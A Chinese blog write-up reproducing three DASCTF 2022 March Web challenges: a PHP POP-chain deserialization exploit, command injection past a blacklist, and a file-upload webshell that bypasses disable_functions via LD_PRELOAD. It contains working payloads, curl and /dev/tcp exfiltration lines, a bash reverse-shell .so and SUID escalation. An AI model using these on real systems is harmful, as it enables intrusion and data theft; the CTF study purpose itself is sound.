[DASCTF2022]三月月赛WriteUp Web部分全复现

2021DASCTF八月挑战赛Writeup 2021DASCTF八月挑战赛WriteupMISC签到寒王'sblogstealerCRYPTOeasymathlet's play with rsa~ezRSA MISC 签到 看看公告就有啦(嘿嘿嘿,真-签到题) flag{welcome_to_dasctf_aug} 寒王’sblog 到给的博客里面看,可以看到写了关于outguess隐写的内容,整个博客就博客头像一个图片,猜测是图片,拿博客内容里面的密码试,不对。仔细观察博客,要找到flag.jpg就行了,因为之前有过搭建博客的经验,就决定到这个 阅读详情

Web

ezpop

ezpop

<?php
highlight_file(__FILE__);
class crow
{
    public $v1;
    public $v2;
    function eval() {
        echo "crow::eval<br>";
        echo new $this->v1($this->v2);
    }
    public function __invoke()
    {
        echo "crow::__invoke<br>";
        $this->v1->world();
    }
}
class fin
{
    public $f1;
    public function __destruct()
    {
        echo "fin::__destruct<br>";
        echo $this->f1 . '114514';
    }
    public function run()
    {
        echo "fin::run<br>";
        ($this->f1)();
    }
    public function __call($a, $b)
    {
        echo "fin::__call<br>";
        echo $this->f1->get_flag();
    }
}
class what
{
    public $a;
    public function __toString()
    {
        echo "what::__toString<br>";
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;
    public function run()
    {
        echo "mix::run<br>";
        ($this->m1)();
    }

    public function get_flag()
    {
        echo "mix::get_flag<br>";
        eval('#' . $this->m1);
    }
}
unserialize($_GET['p']);

拿到题目源码后将它进行了一个简单的变形(每个方法中加一个echo),方便我们在本地调试

找一下链子的开头跟结尾,开头肯定就是__destruct(),结尾应该是两个,一个是mix::get_flag()命令执行,另外一个是crow::eval(原生类读文件),这里我只打了get_flag的那条链子

简单审计一下可以得到链子如下

fin::__destruct()⇒

what::__toString()⇒

fin::run⇒

crow::__invoke()⇒

fin::__call()⇒

mix::get_flag()

以上就是整条pop链,可以看到fin类总共被调用了三次,所以就不能一条链子一把梭了,所以我定义了三个fin类的实例对象,具体的exp如下

 <?php
class crow
{
    public $v1;
    public $v2;
}
class fin
{
    public $f1;
}

class what
{
    public $a;
}
class mix
{
    public $m1;
}
$c=new crow();
$f1=new fin();
$f2=new fin();
$f3=new fin();
$w=new what();
$m=new mix();

$f1->f1=$w;
$w->a=$f2;
$f2->f1=$c;
$c->v1=$f3;
$f3->f1=$m;
$m->m1="?><?php system('cat H0mv*');?>";

echo serialize($f1);

这里链子打通了还没有完全结束,还要绕过eval('#' . $this->m1);

这里我用到的是闭合php标签绕过,即?><?php system('ls');?>,最后就是RCE 随便打了

总结:这道题最主要的就是理清链子关系,不用反复引用了本地测试更方便

calc

题目源码

#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag
    

@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"


if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000)  

这是一道绕waf的题,eval那里可以ssti,log那里可以控制一部分命令执行,但是这道题禁用的黑名单有点多

import
(
)
 
_
|
;
"
{
}
&
getattr
os
system
class
subclasses
mro
request
args
eval
if
subprocess
file
open
popen
builtins
compile
execfile
from_pyfile
config
local
self
item
getitem
getattribute
func_globals
__init__
join
__dict__

现在就是想办法命令执行,可以写一个简单的正则表达式来测试我们的payload

/import|\(|\)| |_|\||;|\"|\{|\}|&|getattr|os|system|class|subclasses|mro|request|args|eval|if|subprocess|file|open|popen|builtins|compile|execfile|from_pyfile|config|local|self|item|getitem|getattribute|func_globals|__init__|join|__dict__/gm
blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
             'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
             'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
             'getattribute', 'func_globals', '__init__', 'join', '__dict__']
reg = ''
te = ['(', ')', '|', '{', '}']
for i in blacklist:
    # print(i)
    for j in te:
        if i == j:
            print(j)
            reg += "\\"
    reg += i + "|"

print(reg)

image-20220408111103679

image-20220408114732024

本来想着能不能直接用eval函数直接打ssti,但是看了一下,这个过滤有点狠,基本绕不过

然后接着看,下面有个os.system命令执行,且我们能够控制一部分

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

os.system(log)

简化一下

echo xxx payload> ./tmp/log.txt
其中payload为可控制的,但是受到黑名单影响

这里可以很容易想到linux的反引号执行命令,然后空格就用Tab%09绕过就行

`ls` > /dev/tcp/xxxx/2333<
将ls的输出重定向到服务器的输入上
也就说服务器接受到的是题目的输入
而输入正好是命令执行的结果

`curl -F xx=@/tmp/log.txt http://xxxx:2333`
利用curl外带/tmp/log.txt里面的数据

直接这样写payload的话,会在eval函数那里报错,所以可以用python的注释符#将它后面的payload个注释掉,当执行命令的时候,linux只会把#当做一个字符看待的

最终payload

1%23%09`ls`%09>%09/dev/tcp/xxxx/2333<


1%23`cat%09/T*`
1%23`curl%09-F%09xx=@tmp/log.txt%09http://xxx:2333`

image-20220408121553119

image-20220408122753666

upgdstore

image-20220408123205834

image-20220408123324139

image-20220408123338353

一道文件上传,且只能上传php文件,而且对文件内容有过滤,上传一句话木马不行,一次一次上传来fuzz太麻烦了,可以写一个脚本

image-20220408130003639

import requests
import re

url = 'http://957a8957-d00e-4202-8e75-6b42be0b41a6.node4.buuoj.cn:81/'
while True:
    payload = input("\n[+]请输入你的payload例如> phpinfo();\n")
    template = f"<?php {payload} ?>"
    proxy = {"http": "127.0.0.1:8080"}
    with open("1.php", "w") as f1:
        f1.write(template)
    with open("1.php", "r") as f:
        # f.write(template+payload)
        data = {"submit": "upload"}
        res = requests.post(url=url, files={'upload_file': f}, data=data, proxies=proxy)
        # print(res.text)
        try:
            reg=re.compile("Look here~ ./(.*?)</div>")
            _url = reg.findall(res.text)[0]
        except Exception as e:
            print(res.text)
            continue
        # print(_url)
        get_url = url + _url
        print(get_url)

image-20220408130034716

image-20220408130105543

搜索发现禁用了特别多的函数,试一下能不能用show_source之类的函数能不能源码给拿出来

image-20220408130642571

发现show_source被禁用了,可以使用base64绕过,当然肯定不止这一中绕过方法

image-20220408130828867

image-20220408130838935

 <div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    嘿伙计,传个火?!
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }

    
    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
    die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

现在感觉就成了RCE的题了

image-20220408131313333

可以看到这里处理黑名单的时候使用的strstr函数,不是正则,strstr是对大小写敏感的,所以用大小写绕过部分黑名单,但是像一句话木马中要用到的$符号那要怎么绕过呢

很明显可以接着使用之前的那个base64绕过

image-20220408131607975

<?php eval($_POST['p']);?>
PD9waHAgZXZhbCgkX1BPU1RbJ3AnXSk7Pz4=

f3b94e88bd1bd325af6f62828c8785dd.php

先上传一个一句话木马的base64编码文件,然后再包含它就行了

php://filter/convert.base64-decode/resource=./f3b94e88bd1bd325af6f62828c8785dd.php

cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uL2YzYjk0ZTg4YmQxYmQzMjVhZjZmNjI4MjhjODc4NWRkLnBocA==
    
Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uL2YzYjk0ZTg4YmQxYmQzMjVhZjZmNjI4MjhjODc4NWRkLnBocA=="));

这里分两次上传的时候注意一个点,就是两次上传不一样的payload的时候需要修改一下文件名,不然就是在原来的文件上进行覆盖,可以看到下面的文件名的规则,就是一个md5加密

image-20220411164354515

image-20220411165322858

image-20220411165519449

但是不知道为啥,用蚁剑连不上,我估计是它把蚁剑使用的那些函数给禁用掉了,所以我们就只能自己找函数去绕过disable_functions,可以参考这两篇文章

https://www.freebuf.com/articles/network/263540.html

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这里使用LD_PRELOAD劫持系统函数的方法需要能够上传文件,然后去动态连接这个恶意so文件

首先编译一个恶意so文件,c源代码如下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() 
{
	system("bash -c 'exec bash -i &>/dev/tcp/xxxxx/2333 <&1'");
}
int geteuid()
{ 
	if (getenv("LD_PRELOAD") == NULL) 
	{ 
		return 0; 
	} 
	unsetenv("LD_PRELOAD"); 
	payload();
}

image-20220411174047137

注意源码使用/n换行,也就是LF,然后在linux上编译

image-20220411174345284

然后尝试用file_put_contents,发现这个函数被禁用了

image-20220411180523379

所以尝试寻找其他文件上传函数,可以看到源码里面有一个move_uploaded_file,该函数也可以进行文件上传

流程就是上传一个接受文件上传的页面,可以使用之前的base64写马的方法,可以直接对1.php的内容进行修改即可

<?php
eval($_POST['p']);
$temp_file = $_FILES['upload_file']['tmp_name'];
if(move_uploaded_file($temp_file, "/var/www/html/uploads/exp.so")) {
    echo "upload success~";
} else {
    echo "failed~";
} 
?>
    

    
    PD9waHAKZXZhbCgkX1BPU1RbJ3AnXSk7CiR0ZW1wX2ZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRfZmlsZSddWyd0bXBfbmFtZSddOwppZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRlbXBfZmlsZSwgIi92YXIvd3d3L2h0bWwvdXBsb2Fkcy9leHAuc28iKSkgewogICAgZWNobyAidXBsb2FkIHN1Y2Nlc3N+IjsKfSBlbHNlIHsKICAgIGVjaG8gImZhaWxlZH4iOwp9IAo/Pg==

然后写一个python脚本去上传这个so文件,代码如下

import requests
import re

url = 'http://0fba9505-2138-43a3-a610-09c2e9994cee.node4.buuoj.cn:81/uploads/9bc09ee4e0eb91840f7c5207e1d84852.php'
while True:
    input("上传一次")
    proxy = {
        'http':'127.0.0.1:8080'
    }
    with open("exp.so", "rb") as f:
        res = requests.post(url=url, files={'upload_file': f}, proxies=proxy)
        print(res.text)
        try:
            final_url='http://0fba9505-2138-43a3-a610-09c2e9994cee.node4.buuoj.cn:81/uploads/exp.so'
            get_res = requests.get(url=final_url)

            if get_res.status_code != 404:
                print(get_res.text)
        except Exception as e:
            print(res.text)
            continue
        # print(_url

image-20220411214705093

OK, 现在就直接利用这个php文件执行被劫持的系统函数geteuid,该函数会在mail()是自动调用,新开启的mail进程中的geteuid()函数获取的库对象需要我们自己去通过LD_PRELOAD环境变量去指定,由于LD_PRELOAD环境变量中的优先级是最高的,所以会覆盖掉之前的geteuid函数,从而达到执行命令的目的

payload如下

p=putenv("LD_PRELOAD=/var/www/html/uploads/exp.so"); mail('','','','');

image-20220411215321308

image-20220411215634290

成功反弹上shell,但是使用cat命令的时候发现权限不够,尝试suid提权

image-20220411215922347

结果发现有个现成的nl,可以直接代替cat输出的

最后拿到flag

image-20220411220000793

DASCTF 2024暑期挑战赛 Reverse writeup 没看。 阅读详情

相关推荐

从DASCTF夏季赛看CTF实战:备赛策略、解题思路与技能提升

CTF(Capture The Flag)竞赛是网络安全领域重要的实战训练场,它通过模拟真实攻防场景,系统性地考察选手在Web安全、逆向工程、密码学等多方面的综合能力。其核心价值在于培养快速学习、漏洞挖掘思维和工具驾驭能力,这些正是现代安全工程师应对复杂威胁的基石。在诸如DASCTF夏季赛这类典型赛事中,参赛者不仅能接触到从传统漏洞到新兴云原生安全的广泛技术栈,更能通过团队协作与高强度解题,锤炼从信息收集到漏洞利用的完整工程实践能力。本文聚焦于**原型链污染**、**反调试**等高频技术点,结合具体赛题案例

congli3478的博客 659

DASCTF X CBCTF 2022九月挑战赛 Writeup

DASCTF X CBCTF 2022九月挑战赛 Writeup

末初 · mochu7 2485

DASCTF夏季赛:从CTF解题到实战攻防的进阶指南与备赛策略

CTF(Capture The Flag)竞赛是网络安全领域衡量实战能力的重要标尺,其核心在于模拟真实攻击场景,检验参赛者对漏洞原理、攻击链构建和防御技术的综合理解。从基础的Web漏洞利用、逆向工程分析,到复杂的云原生安全、区块链智能合约审计,CTF技术栈的演进直接反映了行业威胁态势的变化。掌握这些技能不仅有助于在比赛中取得佳绩,更能反哺企业安全建设,提升对新型攻击的检测与响应能力。本文聚焦DASCTF夏季赛,深入剖析其赛题如何融合**云原生安全**与**区块链智能合约**等前沿热点,并系统阐述从个人技能构

congli3478的博客 606

DASCTF 2024 第一场部分writeup

如题

qq_22607673的博客 1148

安恒月赛2020年DASCTF——四月春季赛---Web-Writeup

比赛的时候去玩了,刚好兄弟们发了第一个web的源码,于是我自己复现了一下 <?php show_source("index.php"); error_reporting(0); function write($data){ return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); } function read($data){...

SopRomeo的博客 4165

DASCTF 2021 WEB WriteUp:ThinkPHP 3.2.3等4个CMS漏洞利用与3种绕过技巧

本文详细解析了DASCTF 2021 WEB赛事中的ThinkPHP 3.2.3等4个CMS漏洞利用与3种高级绕过技巧,包括RCE漏洞原理分析、文件上传Getshell实战、SQL注入写文件技术及原型链污染漏洞利用,并提供了防御加固方案和自动化漏洞利用脚本,帮助安全研究人员深入理解WEB安全攻防。

weixin_42539414的博客 338

DASCTF2022 ——十月赛 Web 部分Writeup

EasyPOP题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public起点是 sorry 类的__destruct(), 由echo $this->hint调用到 show 类的__toString()方法, 然后通过执行$this->ctf->show()跳转 secret_code 类的__call(), 进而到show()方法, ...

渗透测试研究中心 2017

2022浙江省大学生信息安全竞赛技能赛初赛Writeup

2022第五届浙江省信息安全技能赛初赛wp

toto的博客 3087

2022DASCTF X SU 三月春季挑战赛 WriteUp

因为这次团队协作较强,所以就把团队wp直接放了(这句话读不懂也没关系,总之放wp) 文章目录Misc月圆之夜 [mumuzi]什么奇奇怪怪的东西 [mumuzi]Hi!Hecker! [mumuzi,dota_st]问卷CryptoFlowerCipher [mumuzi,Lu1u]Reeasyre[Lu1u]IoTWhat's In The Bits[Lu1u,dota_st,mumuzi]Webezpop[atao]calc[atao]upgdstore(赛后)[atao] Misc 月圆之夜 [mu

mumuzi的博客 1万+

CTF竞赛Writeup深度解析:从Web渗透到逆向工程的实战攻防

在网络安全领域,CTF(Capture The Flag)夺旗赛是检验和提升实战能力的重要方式。其核心在于模拟真实攻击场景,考察选手对漏洞原理、工具链运用和自动化脚本编写的综合能力。一次典型的CTF解题过程,本质上是“信息收集、模式识别、工具利用、脚本编写”的循环。例如,在Web安全题型中,选手需要从基础的HTTP协议和服务器端语言(如PHP)入手,通过手工测试或自动化工具(如SQLMap)发现SQL注入点,并理解如何绕过过滤(如使用/**/代替空格)。进一步,可能通过信息收集发现序列化字符串,进而利用反序

weixin_27875131的博客 291

2021-DASCTF八月挑战赛

babypython[国赛总决赛复现] 是个上传界面,经测试只能上传zip文件 看到页面提示,猜测只有admin才能得到flag,需要伪造session,伪造session要用到一个工具-flask-unsign 所以这道题关键是需要找到key. 可以上传zip文件,同时后台自动解压的情况下,从而实现任意文件读取。 软连接导致任意文件读取 我们可以压缩一个软链接,类似于windows下的快捷方式,然后网站后台会解压读取该软链接指向的服务器上的文件,就能达到读取任意文件的效果。 ln -s /etc/pas

Yasso的博客 1877

从DASCTF MAY挑战赛Writeup看Web安全实战与MISC隐写技巧

本文通过DASCTF MAY挑战赛Writeup详细解析了Web安全实战与MISC隐写技巧。从Cookie伪造到Apache RCE漏洞利用,再到音频隐写和流量取证,文章提供了丰富的实战案例和解题思路,帮助读者掌握CTF比赛中的核心技巧和通用方法论。

weixin_28730353的博客 498

CTF实战复盘:Web安全与MISC隐写技术深度解析

在网络安全领域,Web安全漏洞与信息隐藏技术是两大核心攻防方向。Web安全漏洞如SQL注入、文件上传绕过等,其原理在于应用程序对用户输入验证不足,导致攻击者可执行恶意操作,其技术价值在于揭示了系统安全边界的脆弱性,广泛应用于渗透测试与代码审计。信息隐藏技术(隐写术)则涉及将数据嵌入图片、音频等载体,其原理基于人类感知冗余,在数字取证与隐蔽通信中有关键应用。本文基于CTF赛事实战,深入剖析了【文件上传漏洞】的多种绕过手法与【SQL注入】的自动化盲注技术,通过具体案例展示了如何将这些技术点转化为可复用的安全方法

weixin_34025051的博客 534

2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th WriteUp

最后十分钟掉了4名可还行 只写自己做了的,队友出的就不写了 Crypto:Yusa的密码学签到——BlockTrick 不知道啥意思,反正当复读机就行了。 MISC-问卷题 DASCTF{79f3bb47a2e2d46def82c052eccb7b80}

mumuzi的博客 4675

CTF实战复盘:应急响应赛题解析与逆向调试技巧

在网络安全领域,逆向工程与漏洞分析是核心技术能力。其原理涉及对二进制程序或系统行为的深入解析,通过静态分析与动态调试相结合的方法,理解程序逻辑并发现安全缺陷。这项技术的价值在于能够有效识别软件漏洞、分析恶意代码,并提升系统安全防护能力。在CTF竞赛、渗透测试及安全研究等应用场景中,掌握高效的调试技巧与工具链至关重要。本文以一道包含反调试机制的逆向赛题为例,详细拆解了如何识别并绕过ptrace检测,进而通过动态跟踪分析自定义虚拟机指令流,最终完成漏洞利用与Flag获取的完整过程。

weixin_34232744的博客 373

什么是OAuth 2.0?

OAuth2.0是一种授权协议而非登录协议,核心思想是通过令牌(Token)而非密码实现安全授权。它涉及三个关键角色:用户、第三方应用和身份提供商(IdP)。最常用的授权码流程(AuthorizationCode Flow)通过浏览器三方对话,确保用户密码只提供给IdP而非第三方应用。OAuth2.0提供四种授权方式,其中授权码和客户端凭证是当前主流,而隐式和密码模式已不推荐。需要注意的是,OAuth2.0解决的是授权问题,身份认证需通过OpenID Connect实现。该协议通过临时令牌机制,实现了&qu

sonadorje的专栏 1162

2022浙江省大学生信息安全竞赛技能赛初赛Writeup_2022年浙江省网络与信息安全竞赛 web

解开后得到一个缺少文件头的png,补上png文件头提示CRC校验错误,修改宽高后得到flag。

2501_90257224的博客 376

VTK学习(入门级教程,包括安装和使用)~持续更新中

说明:研究QT+VTK有段时间了,准备把学到的东西分享给大家,这篇博客以VS+QT+VTK为主进行展开学习的。

HXX904的博客 4759

2024浙江省大学生信息安全竞赛技能赛初赛Writeup_2024年浙江省网络与信息安全竞赛 web

misc浅浅ak了一下,misc2一血misc3二血,最高冲上了第5,不过后来还是嘎嘎掉到第9,crypto和pwn一道没出真的太菜了(希望周末决赛能好好加油!

2401_86454672的博客 1716

告别懵圈!用CANoe手把手解析ISO15765多帧传输(附实战报文分析)

本文详细解析了ISO15765多帧传输协议在汽车电子诊断中的应用,通过CANoe实战演示了从首帧发送到流控协商再到连续帧传输的完整流程。文章包含嵌入式系统诊断协议的深度分析,特别适合UDS和CAN总线开发人员学习多帧传输机制及常见问题解决方案。

weixin_30813225的博客 282

避坑指南:Vue2中使用TinyMCE5常见问题解决方案(含PowerPaste插件异常处理)

本文针对Vue2项目中集成TinyMCE 5富文本编辑器时遇到的高频疑难问题,提供了一套深度实战解决方案。内容涵盖环境搭建、资源路径配置、图片与视频上传处理、以及替代PowerPaste插件的自定义粘贴清理方案,旨在帮助开发者有效规避常见陷阱,构建稳定可靠的内容编辑功能。

weixin_29012677的博客 156
上一篇: VNCTF2022 web全复现
下一篇: 第二届网刃杯web
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值